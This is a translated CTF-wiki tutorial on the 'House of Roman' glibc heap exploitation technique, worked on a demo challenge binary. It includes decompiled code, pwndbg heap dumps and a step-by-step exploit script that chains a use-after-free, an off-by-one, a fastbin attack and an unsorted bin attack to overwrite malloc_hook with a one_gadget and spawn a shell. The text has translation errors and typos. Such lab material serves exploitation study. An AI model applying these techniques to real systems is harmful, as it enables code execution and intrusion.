House of Roman¶
Introduction¶
House of Roman This trick is simply a small trick combined with fastbin attack and Unsortbin attack.
Summary¶
This technique is used for bypass ALSR, which uses a 12-bit burst to achieve the shell. It can be exploited with just one UAF vulnerability and the ability to create chunks of any size.
Principle and display¶
The author provided us with a demo for display, and the entire process can be divided into three steps.
- Point FD to malloc_hook
- Fix 0x71 Freelist
- Write one gadget to malloc_hook
First a rough analysis of the demo:
Open protection:
[*] '/media/psf/Home/Desktop/MyCTF/House-Of-Roman/new_chall'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: PIE enabled
There are three main functions in the sample question, Malloc, Write, and Free.
switch ( v4 )
{
case 1:
puts("Malloc");
v5 = malloc_chunk("Malloc");
if ( !v5 )
puts("Error");
break;
case 2:
puts("Write");
write_chunk("Write");
break;
case 3:
puts("Free");
free_chunk();
break;
default:
puts("Invalid choice");
break;
In the Free function, there is a dangling pointer caused by the pointer not being zeroed.
void free_chunk()
{
unsigned int v0; // [rsp+Ch] [rbp-4h]@1
printf ("Next index:");
__isoc99_scanf("%d", &v0);
if ( v0 <= 0x13 )
free(heap_ptrs[(unsigned __int64)v0]);
}
Step 1¶
First fake a chunk, the size of the chunk is 0x61. Then we use partial overwrite to point the FD to the forged chunk (of course, we can also do this with UAF).
Forged chunk size
pwndbg>
0x555555757050: 0x41414141 0x41414141 0x41414141 0x41414141
0x555555757060: 0x41414141 0x41414141 0x41414141 0x41414141
0x555555757070: 0x41414141 0x41414141 0x41414141 0x41414141
0x555555757080: 0x41414141 0x41414141 0x41414141 0x41414141
0x555555757090: 0x41414141 0x41414141 0x61 0x0 <----------
Here, we are free of chunk 1, this time we can get an unsortbin
0x555555757020 PREV_INUSE {
prev_size = 0x0,
size = 0xd1,
fd = 0x7ffff7dd1b58 <main_arena+88> ,
bk = 0x7ffff7dd1b58 <main_arena+88> ,
fd_nextsize = 0x4141414141414141,
bk_nextsize = 0x4141414141414141
}
Next, we redistribute the chunk 0xd1 and modify its size to 0x71.
pwndbg> x/40ag 0x555555757020
0x555555757020: 0x4141414141414141 0x71
0x555555757030: 0x7ffff7dd1b58 <main_arena+88> 0x7ffff7dd1b58 <main_arena+88>
0x555555757040: 0x4141414141414141 0x4141414141414141
0x555555757050: 0x4141414141414141 0x4141414141414141
0x555555757060: 0x4141414141414141 0x4141414141414141
0x555555757070: 0x4141414141414141 0x4141414141414141
0x555555757080: 0x4141414141414141 0x4141414141414141
0x555555757090: 0x4141414141414141 0x61
We then need to fix this 0x71 FD freelist and fake it as a block that has already been released.
pwndbg> x/40ag 0x555555757000
0x555555757000: 0x0 0x21
0x555555757010: 0x4141414141414141 0x4141414141414141
0x555555757020: 0x4141414141414141 0x71 <---------- free 0x71
0x555555757030: 0x7ffff7dd1b58 <main_arena+88> 0x7ffff7dd1b58 <main_arena+88>
0x555555757040: 0x4141414141414141 0x4141414141414141
0x555555757050: 0x4141414141414141 0x4141414141414141
0x555555757060: 0x4141414141414141 0x4141414141414141
0x555555757070: 0x4141414141414141 0x4141414141414141
0x555555757080: 0x4141414141414141 0x4141414141414141
0x555555757090: 0x4141414141414141 0x61
0x5555557570a0: 0x0 0x0
0x5555557570b0: 0x0 0x0
0x5555557570c0: 0x0 0x0
0x5555557570d0: 0x0 0x0
0x5555557570e0: 0x0 0x0
0x5555557570f0: 0xd0 0x71 <---------- free 0x71
0x555555757100: 0x0 0x0
0x555555757110: 0x0 0x0
0x555555757120: 0x0 0x0
0x555555757130: 0x0 0x0
libc : 0x7ffff7a23d28 ("malloc_hook")
At this time our FD is already near the malloc hook and is not ready for blasting.
Step 2¶
We only need to release the fix by releasing a chunk of size 0x71.
Step 3¶
Take advantage of unsortebin's attacking techniques and use the editing function to write onegadet.
Exp Analysis¶
Assign 3
chunk
, set p64(0x61)
at B + 0x78
, the function is fake size
for the following fastbin attack
create(0x18,0) # 0x20
create(0xc8,1) # d0
create(0x65,2) # 0x70
info("create 2 chunk, 0x20, 0xd8")
fake = "A"*0x68
fake += p64(0x61) ## fake size
edit(1,fake)
info("fake")
Release B
and assign the same size again to B
, where B+0x10
and B+0x18
have the address of main_arean
. Assign 3
fastbin
and off by one
to modify B->size = 0x71
free(1)
create(0xc8,1)
create(0x65,3) # b
create(0x65,15)
create(0x65,18)
over = "A"*0x18 # off by one
over += "\x71" # set chunk 1's size --> 0x71
edit(0,over)
info("use off by one , chunk 1's size --> 0x71")
Generate two fastbin
s, then use uaf
to write some addresses and chain B
to fastbin
free(2)
free(3)
info("Create two 0x70 fastbin")
heap_po = "\x20"
edit (3, heap_po)
info("Link chunk'1 into fastbin")
Debug to see the status of fastbin
at this time
pwndbg> fastbins
fastbins
0x20: 0x0
0x30: 0x0
0x40: 0x0
0x50: 0x0
0x60: 0x0
0x70: 0x555555757160 —▸ 0x555555757020 —▸ 0x7ffff7dd1b78 (main_arena+88) ◂— 0x7ffff7dd1b78
0x80: 0x0
0x555555757020
ischunk B
Then by modifying the low 2
bytes of B->fd
, make B->fd= malloc_hook - 0x23
# malloc_hook above
malloc_hook_nearly = "\xed\x1a"
edit(1,malloc_hook_nearly)
info("Partial write, modify fastbin->fd ---> malloc_hook")
Then allocate 3
`xk
of 0x70
, and you can get the chunk
where malloc_hook
is located.
create(0x65,0)
create(0x65,0)
create(0x65,0)
Then free
drop E
, enter fastbin
, use uaf
to set E->fd = 0
, fix fastbin
free(15)
edit(15,p64(0x00))
info("Generate 0x71 fastbin again, modify fd =0, fix fastbin")
Then an unsorted bin attack, making the value of malloc_hook main_arena+88
create(0xc8,1)
create(0xc8,1)
create(0x18,2)
create(0xc8,3)
create(0xc8,4)
free(1)
po = "B" * 8
po + = "\x00\x1b"
edit (1, po)
create(0xc8,1)
info("unsorted bin makes malloc_hook have the address of libc")
Make the malloc_hook
address of one_gadget
by modifying the lower three bytes of malloc_hook
over = "R"*0x13 # padding for malloc_hook
over + = "\xa4\xd2\xaf"
edit(0,over)
info("malloc_hook to one_gadget")
Then free
twice with the same chunk
, trigger malloc_printerr
, getshell
free(18)
free(18)
Link¶
https://gist.github.com/romanking98/9aab2804832c0fb46615f025e8ffb0bc
https://github.com/romanking98/House-Of-Roman
本页面的全部内容在 CC BY-NC-SA 4.0 协议之条款下提供,附加条款亦可能应用。